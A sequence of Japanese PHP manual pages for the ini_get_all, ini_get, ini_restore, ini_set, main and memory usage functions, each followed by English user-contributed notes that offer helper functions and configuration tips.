ひとつのディレクティブに複数のアクセスレベルを設定することができます。 access がビットマスク値となっているのはそのためです。

注意

注意:

ini_get_all() は、"配列" 形式の ini オプション (pdo.dsn.* など) を無視します。

例

例1 ini_get_all() の例

<?php
print_r(ini_get_all("pcre"));
print_r(ini_get_all());
?>

上の例の出力は、 たとえば以下のようになります。

Array
(
    [pcre.backtrack_limit] => Array
        (
            [global_value] => 100000
            [local_value] => 100000
            [access] => 7
        )

    [pcre.recursion_limit] => Array
        (
            [global_value] => 100000
            [local_value] => 100000
            [access] => 7
        )

)
Array
(
    [allow_call_time_pass_reference] => Array
        (
            [global_value] => 0
            [local_value] => 0
            [access] => 6
        )

    [allow_url_fopen] => Array
        (
            [global_value] => 1
            [local_value] => 1
            [access] => 4
        )

    ...

)

例2 details を無効にする例

<?php
print_r(ini_get_all("pcre", false)); // PHP 5.3.0 で追加されました
print_r(ini_get_all(null, false)); // PHP 5.3.0 で追加されました
?>

上の例の出力は、 たとえば以下のようになります。

Array
(
    [pcre.backtrack_limit] => 100000
    [pcre.recursion_limit] => 100000
)
Array
(
    [allow_call_time_pass_reference] => 0
    [allow_url_fopen] => 1
    ...
)

参考

  • 設定を変更するには
  • ini_get() - 設定オプションの値を得る
  • ini_restore() - 設定オプションの値を元に戻す
  • ini_set() - 設定オプションの値を設定する
  • get_loaded_extensions() - コンパイル/ロードされている全てのモジュールの名前を配列として返す
  • phpinfo() - PHP の設定情報を出力する
  • ReflectionExtension::getINIEntries() - 拡張モジュールの ini エントリを取得する

User Contributed Notes

Julien MOREAU aka PixEye 14-Dec-2018 03:19
If you want to load and parse your own ini file, have a look at parse_ini_file() function. Example:

<?php
// ...
$my_data = parse_ini_file($my_file, true);
pmdumuid at gmail dot com 21-Mar-2016 11:09
echo recreate_php_ini();

/**
  * Sample function to re-create a php ini config file.
  *
  * @return string
  */
function recreate_php_ini() {
    $a = ini_get_all();

    $data = [];
    foreach (array_keys($a) as $k) {
        $ss = split("\.", $k);
        if (count($ss) == 1) {
            $sec = "PHP";
            $v = $k;
        } else {
            $sec = $ss[0];
            $v = $ss[1];
        }
        $data[$sec][$v] = $a[$k]['global_value'];
    }
    ksort($data);
    $out = "";
    foreach ($data as $sec => $data) {
        $out .= "[$sec]\n";
        ksort($data);
        foreach ($data as $k => $v) {
            if (is_numeric($v)) {
                $out .= sprintf("%-40s = %s\n", $k, $v);
            } else {
                $out .= sprintf("%-40s = \"%s\"\n", $k, $v);
            }
        }
        $out .= "\n";
    }
    return $out;
}
peter at peteraba dot com 07-Dec-2015 11:13
You can use the following snippet on servers to grab the live/staging configs in order to be able to replicate those in your development environment. (I use `php -a` for this)
 <?php
foreach (ini_get_all(null, false) as $key => $value) echo "$key=$value;\n";
?>
root at mantoru dot de 21-Jan-2008 01:33
Since a certain PHP version (I think it's 5.2.5) it is no longer possible to override INI entrys set with php_admin_* in httpd.conf. The access level will be set to 4 (PHP_INI_SYSTEM), which is also returned by this function.

The constants mentioned below are available in PHP, but without the prefix (e.g. INI_USER, INI_PERDIR).
justd@ntmailme 20-Dec-2002 08:15
I guess the third entry is the required access level (to change this variable at runtime):

Constant           Value      Meaning
PHP_INI_USER      1          Entry can be set in user scripts
PHP_INI_PERDIR    2          Entry can be set in php.ini, .htaccess or httpd.conf
PHP_INI_SYSTEM    4          Entry can be set in php.ini or httpd.conf
PHP_INI_ALL       7          Entry can be set anywhere

See also the docs for ini_set()

Hugo.


設定オプションの値を得る

  • ≪ ini_get_all
  • ini_restore ≫
  • PHP Manual
  • PHP オプション/情報 関数
  • 設定オプションの値を得る

ini_get

(PHP 4, PHP 5, PHP 7, PHP 8)

ini_get — 設定オプションの値を得る

説明

ini_get ( string $option ) : string|false

成功時に、設定オプションの値を返します。

パラメータ

option

設定オプションの名前。

返り値

成功した場合に設定オプションの値、 null 値の場合は空の文字列を返します。 その設定オプションが存在しない場合は false を返します。

例

例1 ini_get() の例

<?php
/*
php.ini で以下のように設定されているものとします

display_errors = On
register_globals = Off
post_max_size = 8M
*/

echo 'display_errors = ' . ini_get('display_errors') . "\n";
echo 'register_globals = ' . ini_get('register_globals') . "\n";
echo 'post_max_size = ' . ini_get('post_max_size') . "\n";
echo 'post_max_size+1 = ' . (ini_get('post_max_size')+1) . "\n";
echo 'post_max_size in bytes = ' . return_bytes(ini_get('post_max_size'));

function return_bytes($val) {
    $val = trim($val);
    $last = strtolower($val[strlen($val)-1]);
    switch($last) {
        // 'G' は PHP 5.1.0 以降で使用可能です
        case 'g':
            $val *= 1024;
        case 'm':
            $val *= 1024;
        case 'k':
            $val *= 1024;
    }

    return $val;
}

?>

上の例の出力は、 たとえば以下のようになります。

display_errors = 1
register_globals = 0
post_max_size = 8M
post_max_size+1 = 9
post_max_size in bytes = 8388608

注意

注意: boolean 値を探す場合

off という boolean の ini 値は空文字列または "0" として返されます。 一方で on の ini 値は "1" として返されます。 また、この関数はリテラル文字列で設定された INI 値を返すこともできます。

注意: メモリサイズの値を探す場合

upload_max_filesize のようなメモリサイズの値の場合、 php.ini上で省略形で格納されています。 ini_get()はphp.iniに格納されている値を そのままの形式で返します。整数表現に変換したりはしません。 これらの値に通常の算術的な関数を施すと予期しない結果を 得てしまいます。上の例では、省略形の表記から本来のバイト数に変換する PHP ソースのひとつの例を示しています。

注意:

ini_get() は、"配列" 形式の ini オプション (pdo.dsn.* など) を読むことができません。この場合は false を返します。

参考

  • get_cfg_var() - PHP 設定オプションの値を取得する
  • ini_get_all() - すべての設定オプションを得る
  • ini_restore() - 設定オプションの値を元に戻す
  • ini_set() - 設定オプションの値を設定する

User Contributed Notes

IceNV 05-Jun-2017 08:53
Be aware that max_execution_time can be altered by XDebug.

While debugging a script locally that made use of <?php ini_get('max_execution_time'); ?> it returned 0 when XDebug remote debugging was enabled and the IDE was listening to it.

It makes sense, since debugging manually takes time so we don't want the script to time out ; but in that particular case, it made it look to the script like max_execution_time was 0, so calculations were wrong.

You can see in phpinfo() that local value is 0 in that case, but master value is the correct one you set in your php.ini.
bishop at php dot net 02-Sep-2015 07:52
In a similar vein, converting flags to booleans proper:

<?php
function return_boolean($val)
{
    static $map = array ('on' => true, 'true' => true, 'off' => false, 'false' => false);
    return @($map[strtolower($val)] ?: (bool)$val);
}
?>

If you're using PHP >= 7, consider replacing ?: with ?? and removing the @ silencer.
bishop@php 02-Sep-2015 07:37
Yet another implementation of return_bytes:

<?php
function return_bytes($val)
{
    assert('1 === preg_match("/^\d+([kmg])?$/i", $val)');
    static $map = array ('k' => 1024, 'm' => 1048576, 'g' => 1073741824);
    return (int)$val * @($map[strtolower(substr($val, -1))] ?: 1);
}
?>

If you're using PHP >= 7, you might replace ?: with ?? to avoid the use of the @ silencer.
Ivo Mandalski 15-Nov-2011 08:27
This version of return_bytes takes care of the MB, GB, KB cases along with the M,G,K ones.
Hope this is helpful!

<?php
    public static function return_bytes ($val)
    {
        if(empty($val))return 0;

        $val = trim($val);

        preg_match('#([0-9]+)[\s]*([a-z]+)#i', $val, $matches);

        $last = '';
        if(isset($matches[2])){
            $last = $matches[2];
        }

        if(isset($matches[1])){
            $val = (int) $matches[1];
        }

        switch (strtolower($last))
        {
            case 'g':
            case 'gb':
                $val *= 1024;
            case 'm':
            case 'mb':
                $val *= 1024;
            case 'k':
            case 'kb':
                $val *= 1024;
        }

        return (int) $val;
    }
?>
Stas Trefilov, OpteamIS 26-Mar-2010 10:08
another version of return_bytes which returns faster and does not use multiple multiplications (sorry:). even if it is resolved at compile time it is not a good practice;
no local variables are allocated;
the trim() is omitted (php already trimmed values when reading php.ini file);
strtolower() is replaced by second case which wins us one more function call for the price of doubling the number of cases to process (may slower the worst-case scenario when ariving to default: takes six comparisons instead of three comparisons and a function call);
cases are ordered by most frequent goes first (uppercase M-values being the default sizes);
specs say we must handle integer sizes so float values are converted to integers and 0.8G becomes 0;
'Gb', 'Mb', 'Kb' shorthand byte options are not implemented since are not in specs, see
http://www.php.net/manual/en/faq.using.php#faq.using.shorthandbytes

<?php
function return_bytes ($size_str)
{
    switch (substr ($size_str, -1))
    {
        case 'M': case 'm': return (int)$size_str * 1048576;
        case 'K': case 'k': return (int)$size_str * 1024;
        case 'G': case 'g': return (int)$size_str * 1073741824;
        default: return $size_str;
    }
}
?>
nicolas dot grekas+php at gmail dot com 19-Aug-2009 10:51
Here is how to accurately test for boolean php.ini values:

<?php

function ini_get_bool($a)
{
    $b = ini_get($a);

    switch (strtolower($b))
    {
    case 'on':
    case 'yes':
    case 'true':
        return 'assert.active' !== $a;

    case 'stdout':
    case 'stderr':
        return 'display_errors' === $a;

    default:
        return (bool) (int) $b;
    }
}

?>
peter 29-Jul-2008 02:25
The above example function called return_bytes() assumes that ini_get('upload_max_filesize') delivers only one letter at the end. As I've seen 'Mb' and things like that, I'd suggest to change the $last = ... part into $last = strtolower(substr($val,strlen($val/1),1)).
I'd call it $unit then.
filh at filh dot org 21-Nov-2005 06:24
Concerning the value retourned, it depends on how you set it.
I had the problem with horde-3 which test the safe_mode value.
THan :
- if you set the value with php_admin_value safe_mode Off (or On) ini_get returns the string
- if you set the value with php_admin_flag safe_mode Off (or On) ini_get returns the boolean.
david dot tulloh at infaze dot com dot au 21-Jun-2005 07:01
You can set custom entries in the ini file to provide globals such as database details.
However these must be retrieved with get_cfg_var, ini_get won't work.
Der Graph 16-Aug-2004 11:59
It might be useful for included scripts that include other files to extend the 'include_path' variable:

<?php ini_set('include_path',ini_get('include_path').':../includes:');  ?>

Sometimes, it may also be useful to store the current 'include_path' in a variable, overwrite it, include, and then restore the old 'include_path'.


設定オプションの値を元に戻す

  • ≪ ini_get
  • ini_set ≫
  • PHP Manual
  • PHP オプション/情報 関数
  • 設定オプションの値を元に戻す

ini_restore

(PHP 4, PHP 5, PHP 7, PHP 8)

ini_restore — 設定オプションの値を元に戻す

説明

ini_restore ( string $option ) : void

指定した設定オプションを元の値に戻します。

パラメータ

option

設定オプションの名前。

返り値

値を返しません。

例

例1 ini_restore() の例

<?php
$setting = 'y2k_compliance';

echo 'Current value for \'' . $setting . '\': ' . ini_get($setting), PHP_EOL;

ini_set($setting, ini_get($setting) ? 0 : 1);
echo 'New value for \'' . $setting . '\': ' . ini_get($setting), PHP_EOL;

ini_restore($setting);
echo 'Original value for \'' . $setting . '\': ' . ini_get($setting), PHP_EOL;
?>

上の例の出力は以下となります。

Current value for 'y2k_compliance': 1
New value for 'y2k_compliance': 0
Original value for 'y2k_compliance': 1

参考

  • ini_get() - 設定オプションの値を得る
  • ini_get_all() - すべての設定オプションを得る
  • ini_set() - 設定オプションの値を設定する

User Contributed Notes

Anonymous 11-Jan-2016 02:08
If like me you thought ini_restore() would restore to the most recent setting rather than the startup value, you could use this.

<?php

/**
 * Executes a function using a custom PHP configuration.
 *
 * @param array $settings A map<ini setting name, ini setting value>.
 * @param callable $doThis The code to execute using the given settings.
 * @return mixed Returns the value returned by the given callable.
 */
function ini_using_do(array $settings, callable $doThis){
    foreach($settings as $name => $value){
        $previousSettings[$name] = ini_set($name, $value);
    }
    $returnValue = $doThis();
    if(isset($previousSettings)){
        foreach($previousSettings as $name => $value){
            ini_set($name, $value);
        }
    }
    return $returnValue;
}

?>


設定オプションの値を設定する

  • ≪ ini_restore
  • main ≫
  • PHP Manual
  • PHP オプション/情報 関数
  • 設定オプションの値を設定する

ini_set

(PHP 4, PHP 5, PHP 7, PHP 8)

ini_set — 設定オプションの値を設定する

説明

ini_set ( string $option , string $value ) : string|false

指定した設定オプションの値を設定します。 設定オプションは、スクリプトの実行中は新しい値を保持し、 スクリプト終了時に元の値へ戻されます。

パラメータ

option

全てのオプションが ini_set() を使用して変更することが 可能なわけではありません。有効なオプションの完全な一覧は 付録 を参照ください。

value

オプションの新しい値。

返り値

成功した場合に元の値、失敗した場合に false を返します。

例

例1 ini オプションの設定

<?php
echo ini_get('display_errors');

if (!ini_get('display_errors')) {
    ini_set('display_errors', '1');
}

echo ini_get('display_errors');
?>

参考

  • get_cfg_var() - PHP 設定オプションの値を取得する
  • ini_get() - 設定オプションの値を得る
  • ini_get_all() - すべての設定オプションを得る
  • ini_restore() - 設定オプションの値を元に戻す
  • 設定を変更するには

User Contributed Notes

ASchmidt at Anamera dot net 27-Jul-2017 11:29
When checking for the success of ini_set(), keep in mind that it will return the OLD value upon success - which may have been "0". Therefore you cannot just compare the return value - you have to check for "identity":

<?php

// This will NOT determine the success of ini_set(), instead
// it only tests if the old value had been equivalent to false
if ( !ini_set( 'display_errors', '1' ) )
    throw new \Exception( 'Unable to set display_errors.' );

// This is the CORRECT way to determine success
if ( ini_set( 'display_errors', '1' ) === false )
    throw new \Exception( 'Unable to set display_errors.' );

?>

This explains reported situations where ini_set() "always" seems to fail!
Gev 17-Jul-2017 06:57
ini_set('display_errors', 1);
error_reporting(E_ALL);
Er.ellison 13-Nov-2015 07:44
if u receive  an Error with generic like  :
Maximum execution time of 30 seconds exceeded

if u set ini_set(max_execution_time, 300);
your problem will be solved
pls note that the 300 , is 300 seconds , which means 5 minute  you can set another value !
w3dk 06-May-2015 05:21
Whilst most boolean settings can be disabled by passing '0', 'Off' or `No' (in fact anything that is not '1', 'On' or 'Yes' - not case-sentive) to ini_set(), it should be noted that ini_get() returns the literal string as set. So if you later want to check this setting by calling ini_get() and it's been set to 'Off' (a non-empty string that evaluates to True), then you'll have to specifically check for this in a (case-insensitive) string comparison, rather than the simpler:

if (ini_get('config_setting')) { /* ... */ }

So, if you need to disable boolean settings I think it's preferable to set them to '0' (which simply evaluates to False).
nl-x 17-Sep-2014 11:32
I have experienced on some systems that ini_set() will fail and return a false, when trying to set a setting that was set inside php.ini inside a per-host setting. Beware of this.
anonymous 10-Aug-2014 04:30
Note that this function only works with PHP_INI_ALL options!
williamprogphp at yahoo dot com dot br 10-Jan-2014 12:20
I figured out why php dont output errors such as an expected ';' on code and output a 500 error. Some server are configured to omit php errors on pages using the directive display_errors=Off;

In most cases, the server will output a 500 Internal Server Error instead of php error because of it.

To prevent this default you must set this directive directly in the php.ini file and the server will show you the php error properly. Setting ini_set('display_errors', true) on-the-fly wont work.
Nik 25-Nov-2013 05:44
How to get xdebug var_dump to show full object/array regardless to php,ini settings:

ini_set("xdebug.var_display_max_depth", -1);
ini_set("xdebug.var_display_max_children", -1);
ini_set("xdebug.var_display_max_data", -1);
var_dump($test);
Nathan 08-Nov-2011 08:56
Careful - in some cases, when setting zlib.output_compression to "On" via ini_set, PHP won't send the Content-type header and browsers will garble the output. Set it to the desired buffer size instead, which sends the correct header:

<?php
ini_set("zlib.output_compression", 4096);
?>
MadJoker 12-Aug-2009 01:46
If you use gz_handler you might want to switch over to
zlib.output_compression

This can be controlled via the ini_set control.

<?php ini_set('zlib.output_compression', 'Off'); ?>

or

<?php ini_set('zlib.output_compression', 'On'); ?>
daevid at daevid dot com 30-Oct-2006 05:19
Be careful with setting an output_handler, as you can't use ini_set() to change it. *sigh*

In my php.ini I have this for my web pages (and I want it):

  output_handler = ob_gzhandler

But this causes my command line scripts to not show output until the very end.

#!/usr/bin/php -q
<?php
ini_set('output_handler', 'mb_output_handler');
echo "\noutput_handler => " . ini_get('output_handler') . "\n";
?>

root@# ./myscript.php
output_handler => ob_gzhandler

Apparently (acording to Richard Lynch):

> TOO LATE!
> The ob_start() has already kicked in by this point.
> ob_flush() until there are no more buffers.
RebootConcepts.com 31-Mar-2006 01:36
set PHP_INI_PERDIR settings in a .htaccess file with 'php_flag' like this:

php_flag register_globals off
php_flag magic_quotes_gpc on
Ron Ludwig 10-Jan-2006 11:30
When your ISP does not allow you to add the default include directories - it might be useful to extend the 'include_path' variable:

<?php ini_set('include_path',ini_get('include_path').':../includes:');  ?>
brainiac5 dot php at aimail dot de 05-Sep-2004 07:54
To find the apache php settings try something like this.
> cd /etc/apache2
> grep -r -n -i  safe_mode_exec_dir *.conf
or
> grep -r -n -i safe_mode.*On *.conf

If you find a gererated file, obviously you need to find the source template for it, to change what's needed there.

I just wasted a sunny Sunday on searching for where the heck safe_mode_exec_dir was changed.

And yes, Local Value in phpinfo does mean 'changed between the php.ini file and here', as you would think.

If you have an automated virtual host configuration, such as confixx, php ini values can be spread across very many files.

They can be changed in apache config files, that can have any name, but usually will end on .conf, besides in .htaccess files.
klw at gmx dot at 05-Sep-2004 06:49
To change settings from .htaccess files, it is also required that the directory permissions configured in Apache allow this.

The <Directory /foo/bar> entry in httpd.conf MUST contain "AllowOverride All" or at least "AllowOverride Options" to read PHP settings from the .htaccess file.

E.g. in Fedora Core 2, the default settings for /var/www/html/ are "AllowOverride None", so changing PHP settings via .htaccess for applications installed below /var/www/html/ will not work.
sean at php dot net 13-Aug-2004 06:54
While this doesn't belong in the manual, it should be useful for people looking on this page for zend_optimizer.* ini options, which are commonly installed:

Information on the "zend_optimizer.optimization_level" and "zend_optimizer.enable_loader" options is available at:

http://www.zend.com/support/user_docs/ZendOptimizer/PDF/ZendOptimizer_UserGuide.pdf
davey at its-explosive dot net 17-Mar-2003 06:42
If you set something using php_admin_value in httpd.conf it is then not possible to be set the value at runtime, even if it's NOT PHP_INI_SYSTEM.

Just an interesting note for Server admins this might come in handy to disable setting of certain things... like allow_url_fopen.

- Davey
miroslav AT simunic DOT de 29-Sep-2002 08:26
If it's not your server and therefore you want to hide the data in your session variables from other users, it?s very useful to set the session.save_handler in your scripts to shared memory with:

<?php ini_set('session.save_handler','mm'); ?>

Remember: You have to set it in every script that uses the session variables BEFORE "session_start()" or php won't find them.
Tr909 at com dot nospam dot bigfoot 12-Jun-2002 10:04
[[[Editors note: Yes, this is very true.  Same with
register_globals, magic_quotes_gpc and others.
]]]

Many settings, although they do get set, have no influence in your script.... like upload_max_filesize will get set but uploaded files are already passed to your PHP script before the settings are changed.

Also other settings, set by ini_set(), may be to late because of this (post_max_size etc.).
beware, try settings thru php.ini or .htaccess.
johnzoet at netscape dot com 13-Mar-2002 06:13
[[[Editors note: Just because you're able to set something
doesn't mean it will work as expected.  Depends on the
setting.  For example. setting register_globals at
runtime will be of little use as its job has already
been completed by the time it reaches your script.
]]]

When a setting can not be changed in a user script, the return value of ini_set is "empty", not "false" as you may expect.
If you check in your script for return value is "false" the script will continue processing, although the setting has not been set.
The boolean return value is used for settings that can be changed in a script. Otherwise the empty value is returned.
To test for both error conditions use:

<?php
if (empty($blnResult) or (!$blnResult)) {
   echo "setting cannot be set";
   exit;
}
?>


main のダミー

  • ≪ ini_set
  • memory_get_peak_usage ≫
  • PHP Manual
  • PHP オプション/情報 関数
  • main のダミー

main

main — main() のダミー

説明

PHP のソースを除き、main() という名前の関数は 存在しません。PHP 4.3.0 では、PHP ソースにおいて新しいタイプの エラー処理(php_error_docref)が追加されました。そのひとつの機能として、 html_errors (デフォルトでオン)と docref_root (PHP 4.3.2 まではデフォルトでオン)のディレクティブがセットされている 場合に、PHP のエラーメッセージ上に PHP のマニュアルへのリンクが 表示されるようになりました。

ときおり、エラーメッセージは main() 関数の マニュアルを指すことがあります。それがこのページが存在する理由です。 もしそんな参照を発見したら、ぜひ » バグ報告をお願いします。 エラー時のリンク先が main() となっている PHP の関数を指摘してくだされば、それを修正して適切なドキュメントを指すようにします。

現在判明している、main() を指すエラー
関数名 | このバージョン以降、ここを指すことはありません
include | 5.1.0
include_once | 5.1.0
require | 5.1.0
require_once | 5.1.0

参考

  • html_errors
  • display_errors

User Contributed Notes

There are no user contributed notes for this page.


PHP によって割り当てられたメモリの最大値を返す

  • ≪ main
  • memory_get_usage ≫
  • PHP Manual
  • PHP オプション/情報 関数
  • PHP によって割り当てられたメモリの最大値を返す

memory_get_peak_usage

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

memory_get_peak_usage — PHP によって割り当てられたメモリの最大値を返す

説明

memory_get_peak_usage ( bool $real_usage = false ) : int

PHP スクリプトに割り当てられたメモリの最大値を、バイト単位で返します。

パラメータ

real_usage

これを true に設定すると、システムが割り当てた実際のメモリの大きさを取得します。 省略したり false を設定したりすると、 emalloc() が使用するメモリのみを報告します。

返り値

メモリの最大値をバイト数で返します。

参考

  • memory_get_usage() - PHP に割り当てられたメモリの量を返す
  • memory_limit

User Contributed Notes

stanislav dot eckert at vizson dot de 18-Feb-2017 03:14
memory_get_peak_usage() is used to retrieve the highest memory usage of PHP (or your running script) only. If you need the overall memory usage of the entire system, following function might be helpful. If retrieves the memory usage either in percent (without the percent sign) or in bytes by returning an array with free and overall memory of your system. Tested with Windows (7) and Linux (on an Raspberry Pi 2):

<?php

    // Returns used memory (either in percent (without percent sign) or free and overall in bytes)
    function getServerMemoryUsage($getPercentage=true)
    {
        $memoryTotal = null;
        $memoryFree = null;

        if (stristr(PHP_OS, "win")) {
            // Get total physical memory (this is in bytes)
            $cmd = "wmic ComputerSystem get TotalPhysicalMemory";
            @exec($cmd, $outputTotalPhysicalMemory);

            // Get free physical memory (this is in kibibytes!)
            $cmd = "wmic OS get FreePhysicalMemory";
            @exec($cmd, $outputFreePhysicalMemory);

            if ($outputTotalPhysicalMemory && $outputFreePhysicalMemory) {
                // Find total value
                foreach ($outputTotalPhysicalMemory as $line) {
                    if ($line && preg_match("/^[0-9]+\$/", $line)) {
                        $memoryTotal = $line;
                        break;
                    }
                }

                // Find free value
                foreach ($outputFreePhysicalMemory as $line) {
                    if ($line && preg_match("/^[0-9]+\$/", $line)) {
                        $memoryFree = $line;
                        $memoryFree *= 1024;  // convert from kibibytes to bytes
                        break;
                    }
                }
            }
        }
        else
        {
            if (is_readable("/proc/meminfo"))
            {
                $stats = @file_get_contents("/proc/meminfo");

                if ($stats !== false) {
                    // Separate lines
                    $stats = str_replace(array("\r\n", "\n\r", "\r"), "\n", $stats);
                    $stats = explode("\n", $stats);

                    // Separate values and find correct lines for total and free mem
                    foreach ($stats as $statLine) {
                        $statLineData = explode(":", trim($statLine));

                        //
                        // Extract size (TODO: It seems that (at least) the two values for total and free memory have the unit "kB" always. Is this correct?
                        //

                        // Total memory
                        if (count($statLineData) == 2 && trim($statLineData[0]) == "MemTotal") {
                            $memoryTotal = trim($statLineData[1]);
                            $memoryTotal = explode(" ", $memoryTotal);
                            $memoryTotal = $memoryTotal[0];
                            $memoryTotal *= 1024;  // convert from kibibytes to bytes
                        }

                        // Free memory
                        if (count($statLineData) == 2 && trim($statLineData[0]) == "MemFree") {
                            $memoryFree = trim($statLineData[1]);
                            $memoryFree = explode(" ", $memoryFree);
                            $memoryFree = $memoryFree[0];
                            $memoryFree *= 1024;  // convert from kibibytes to bytes
                        }
                    }
                }
            }
        }

        if (is_null($memoryTotal) || is_null($memoryFree)) {
            return null;
        } else {
            if ($getPercentage) {
                return (100 - ($memoryFree * 100 / $memoryTotal));
            } else {
                return array(
                    "total" => $memoryTotal,
                    "free" => $memoryFree,
                );
            }
        }
    }

    function getNiceFileSize($bytes, $binaryPrefix=true) {
        if ($binaryPrefix) {
            $unit=array('B','KiB','MiB','GiB','TiB','PiB');
            if ($bytes==0) return '0 ' . $unit[0];
            return @round($bytes/pow(1024,($i=floor(log($bytes,1024)))),2) .' '. (isset($unit[$i]) ? $unit[$i] : 'B');
        } else {
            $unit=array('B','KB','MB','GB','TB','PB');
            if ($bytes==0) return '0 ' . $unit[0];
            return @round($bytes/pow(1000,($i=floor(log($bytes,1000)))),2) .' '. (isset($unit[$i]) ? $unit[$i] : 'B');
        }
    }

    // Memory usage: 4.55 GiB / 23.91 GiB (19.013557664178%)
    $memUsage = getServerMemoryUsage(false);
    echo sprintf("Memory usage: %s / %s (%s%%)",
        getNiceFileSize($memUsage["total"] - $memUsage["free"]),
        getNiceFileSize($memUsage["total"]),
        getServerMemoryUsage(true)
    );

?>

The function getNiceFileSize() is not required. Just used to shorten size in bytes.

Note: If you need the server load (CPU usage), I wrote a nice function to get that too: http://php.net/manual/en/function.sys-getloadavg.php#118673


PHP に割り当てられたメモリの量を返す

  • ≪ memory_get_peak_usage
  • php_ini_loaded_file ≫
  • PHP Manual
  • PHP オプション/情報 関数
  • PHP に割り当てられたメモリの量を返す

memory_get_usage

(PHP 4 >= 4.3.2, PHP 5, PHP 7, PHP 8)

memory_get_usage — PHP に割り当てられたメモリの量を返す

説明

memory_get_usage ( bool $real_usage = false ) : int

現在の PHP スクリプトに割り当てられたメモリの量をバイト単位で返します。

パラメータ

real_usage

これを true に設定すると、システムが割り当てた実際のメモリの大きさ (未使用のページも含むもの) を取得します。 省略したり false を設定したりすると、使用したメモリのみを報告します。

注意:

PHP は、emalloc() が割り当てたメモリ以外のメモリは追跡しません。

返り値

メモリの量をバイト単位で返します。

例

例1 memory_get_usage() の例

<?php
// これは単なる例にすぎません。
// 以下の数値はシステムによって変化します。

echo memory_get_usage() . "\n"; // 36640

$a = str_repeat("Hello", 4242);

echo memory_get_usage() . "\n"; // 57960

unset($a);

echo memory_get_usage() . "\n"; // 36744

?>

参考

  • memory_get_peak_usage() - PHP によって割り当てられたメモリの最大値を返す
  • memory_limit

User Contributed Notes

yousha dot a at hotmail dot com 18-Apr-2018 08:41
Note that the description for `memory_get_usage` is different than it's default parameter!

"`int memory_get_usage ([ bool $real_usage = FALSE ] )`
Returns the amount of memory, in bytes, that's currently being allocated to your PHP script. "

Default parameter = `FALSE`

WRONG description: Returns the amount of memory, in bytes, that's currently being allocated to your PHP script.

It must be: Returns the amount of memory, in bytes, that's currently used by your PHP script.
stanislav dot eckert at vizson dot de 18-Feb-2017 03:08
memory_get_usage() is used to retrieve the memory allocated to PHP only (or your running script). But intuitively, many people expect to get the memory usage of the system, based on the name of the function.

So if you need the overall memory usage, following function might be helpful. If retrieves the memory usage either in percent (without the percent sign) or in bytes by returning an array with free and overall memory of your system. Tested with Windows (7) and Linux (on an Raspberry Pi 2):

<?php

    // Returns used memory (either in percent (without percent sign) or free and overall in bytes)
    function getServerMemoryUsage($getPercentage=true)
    {
        $memoryTotal = null;
        $memoryFree = null;

        if (stristr(PHP_OS, "win")) {
            // Get total physical memory (this is in bytes)
            $cmd = "wmic ComputerSystem get TotalPhysicalMemory";
            @exec($cmd, $outputTotalPhysicalMemory);

            // Get free physical memory (this is in kibibytes!)
            $cmd = "wmic OS get FreePhysicalMemory";
            @exec($cmd, $outputFreePhysicalMemory);

            if ($outputTotalPhysicalMemory && $outputFreePhysicalMemory) {
                // Find total value
                foreach ($outputTotalPhysicalMemory as $line) {
                    if ($line && preg_match("/^[0-9]+\$/", $line)) {
                        $memoryTotal = $line;
                        break;
                    }
                }

                // Find free value
                foreach ($outputFreePhysicalMemory as $line) {
                    if ($line && preg_match("/^[0-9]+\$/", $line)) {
                        $memoryFree = $line;
                        $memoryFree *= 1024;  // convert from kibibytes to bytes
                        break;
                    }
                }
            }
        }
        else
        {
            if (is_readable("/proc/meminfo"))
            {
                $stats = @file_get_contents("/proc/meminfo");

                if ($stats !== false) {
                    // Separate lines
                    $stats = str_replace(array("\r\n", "\n\r", "\r"), "\n", $stats);
                    $stats = explode("\n", $stats);

                    // Separate values and find correct lines for total and free mem
                    foreach ($stats as $statLine) {
                        $statLineData = explode(":", trim($statLine));

                        //
                        // Extract size (TODO: It seems that (at least) the two values for total and free memory have the unit "kB" always. Is this correct?
                        //

                        // Total memory
                        if (count($statLineData) == 2 && trim($statLineData[0]) == "MemTotal") {
                            $memoryTotal = trim($statLineData[1]);
                            $memoryTotal = explode(" ", $memoryTotal);
                            $memoryTotal = $memoryTotal[0];
                            $memoryTotal *= 1024;  // convert from kibibytes to bytes
                        }

                        // Free memory
                        if (count($statLineData) == 2 && trim($statLineData[0]) == "MemFree") {
                            $memoryFree = trim($statLineData[1]);
                            $memoryFree = explode(" ", $memoryFree);
                            $memoryFree = $memoryFree[0];
                            $memoryFree *= 1024;  // convert from kibibytes to bytes
                        }
                    }
                }
            }
        }

        if (is_null($memoryTotal) || is_null($memoryFree)) {
            return null;
        } else {
            if ($getPercentage) {
                return (100 - ($memoryFree * 100 / $memoryTotal));
            } else {
                return array(
                    "total" => $memoryTotal,
                    "free" => $memoryFree,
                );
            }
        }
    }

    function getNiceFileSize($bytes, $binaryPrefix=true) {
        if ($binaryPrefix) {
            $unit=array('B','KiB','MiB','GiB','TiB','PiB');
            if ($bytes==0) return '0 ' . $unit[0];
            return @round($bytes/pow(1024,($i=floor(log($bytes,1024)))),2) .' '. (isset($unit[$i]) ? $unit[$i] : 'B');
        } else {
            $unit=array('B','KB','MB','GB','TB','PB');
            if ($bytes==0) return '0 ' . $unit[0];
            return @round($bytes/pow(1000,($i=floor(log($bytes,1000)))),2) .' '. (isset($unit[$i]) ? $unit[$i] : 'B');
        }
    }

    // Memory usage: 4.55 GiB / 23.91 GiB (19.013557664178%)
    $memUsage = getServerMemoryUsage(false);
    echo sprintf("Memory usage: %s / %s (%s%%)",
        getNiceFileSize($memUsage["total"] - $memUsage["free"]),
        getNiceFileSize($memUsage["total"]),
        getServerMemoryUsage(true)
    );

?>

The function getNiceFileSize() is not required. Just used to shorten size in bytes.

Note: If you need the server load (CPU usage), I wrote a nice function to get that too: http://php.net/manual/en/function.sys-getloadavg.php#118673
miami at blackcrystal dot net 11-Mar-2015 11:46
Sometimes, we need all memory to run our task, we do ini_set('memory_limit',  -1 ), or maximum value we have.

To avoid stuck of server on long and memory consuming tasks, i wrote this check. This is not the same as memory_get_usage() do, but more. It shows virtual memory amount, taken by your process. In percents.

<?php
    function getVirtualMemoryTaken()
    {
        $pid = getmypid();
        $a = `ps -p $pid v | awk 'END{print $9}'`;
        return $a*1;
    }
?>

It works only in linux, tested in Ubuntu 14.

<?php
    $a = ' ';
    do {  $a .= $a . $a; }
    while (getVirtualMemoryTaken() < 20 );
?>
Alex Aulbach 22-Mar-2011 01:14
Note, that the official IEC-prefix for kilobyte, megabyte and so on are KiB, MiB, TiB and so on.

See http://en.wikipedia.org/wiki/Tebibyte

